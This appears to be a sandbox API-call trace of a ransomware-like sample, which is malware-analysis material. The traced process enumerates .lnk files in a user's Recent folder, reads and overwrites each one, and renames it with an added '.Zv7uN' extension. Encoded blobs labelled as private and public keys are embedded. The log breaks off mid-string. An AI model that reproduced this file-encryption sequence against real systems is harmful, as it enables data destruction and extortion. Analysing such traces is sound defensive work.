GetCurrentThreadId () returned 0xa30 [0084.562] GetCurrentThreadId () returned 0xa30 [0084.562] GetCurrentThreadId () returned 0xa30 [0084.562] GetCurrentThreadId () returned 0xa30 [0084.562] GetCurrentThreadId () returned 0xa30 [0084.562] GetCurrentThreadId () returned 0xa30 [0084.562] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe16fe980, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0x3d332c00, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x3d332c00, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x307, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="xeOnABdo_Zx4RoO-.lnk", cAlternateFileName="XEONAB~1.LNK")) returned 1 [0084.562] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0084.562] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.562] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\xeOnABdo_Zx4RoO-.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\xeonabdo_zx4roo-.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe16fe980, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0x3d332c00, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x3d332c00, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x307)) returned 1 [0084.562] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\xeOnABdo_Zx4RoO-.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\xeonabdo_zx4roo-.lnk")) returned 0x20 [0084.562] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\xeOnABdo_Zx4RoO-.lnk", dwFileAttributes=0x80) returned 1 [0084.564] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0084.564] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f7389c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0084.565] GetCurrentThreadId () returned 0xa30 [0084.565] GetCurrentThreadId () returned 0xa30 [0084.565] GetCurrentThreadId () returned 0xa30 [0084.566] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0084.566] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f848fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0084.566] GetCurrentThreadId () returned 0xa30 [0084.566] GetCurrentThreadId () returned 0xa30 [0084.566] GetCurrentThreadId () returned 0xa30 [0084.566] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\xeOnABdo_Zx4RoO-.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\xeonabdo_zx4roo-.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0084.566] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0084.566] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0084.567] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x307 [0084.567] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0084.567] ReadFile (in: hFile=0x124, lpBuffer=0x1f8c700, nNumberOfBytesToRead=0x307, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1f8c700*, lpNumberOfBytesRead=0x18f96c*=0x307, lpOverlapped=0x0) returned 1 [0084.569] CloseHandle (hObject=0x124) returned 1 [0084.569] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\xeOnABdo_Zx4RoO-.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\xeonabdo_zx4roo-.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0084.571] WriteFile (in: hFile=0x124, lpBuffer=0x1f8e730*, nNumberOfBytesToWrite=0x307, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f8e730*, lpNumberOfBytesWritten=0x18f978*=0x307, lpOverlapped=0x0) returned 1 [0084.573] CloseHandle (hObject=0x124) returned 1 [0084.574] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\xeOnABdo_Zx4RoO-.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\xeonabdo_zx4roo-.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\xeOnABdo_Zx4RoO-.lnk.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\xeonabdo_zx4roo-.lnk.zv7un")) returned 1 [0084.575] GetCurrentThreadId () returned 0xa30 [0084.575] GetCurrentThreadId () returned 0xa30 [0084.575] GetCurrentThreadId () returned 0xa30 [0084.576] GetCurrentThreadId () returned 0xa30 [0084.576] GetCurrentThreadId () returned 0xa30 [0084.576] GetCurrentThreadId () returned 0xa30 [0084.576] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe19d23a0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe19d23a0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe19d23a0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x1a28, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="XItXehzcofYBo38.lnk", cAlternateFileName="XITXEH~1.LNK")) returned 1 [0084.576] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0084.576] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.576] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\XItXehzcofYBo38.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\xitxehzcofybo38.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe19d23a0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe19d23a0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe19d23a0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x1a28)) returned 1 [0084.576] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\XItXehzcofYBo38.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\xitxehzcofybo38.lnk")) returned 0x20 [0084.576] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\XItXehzcofYBo38.lnk", dwFileAttributes=0x80) returned 1 [0084.578] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw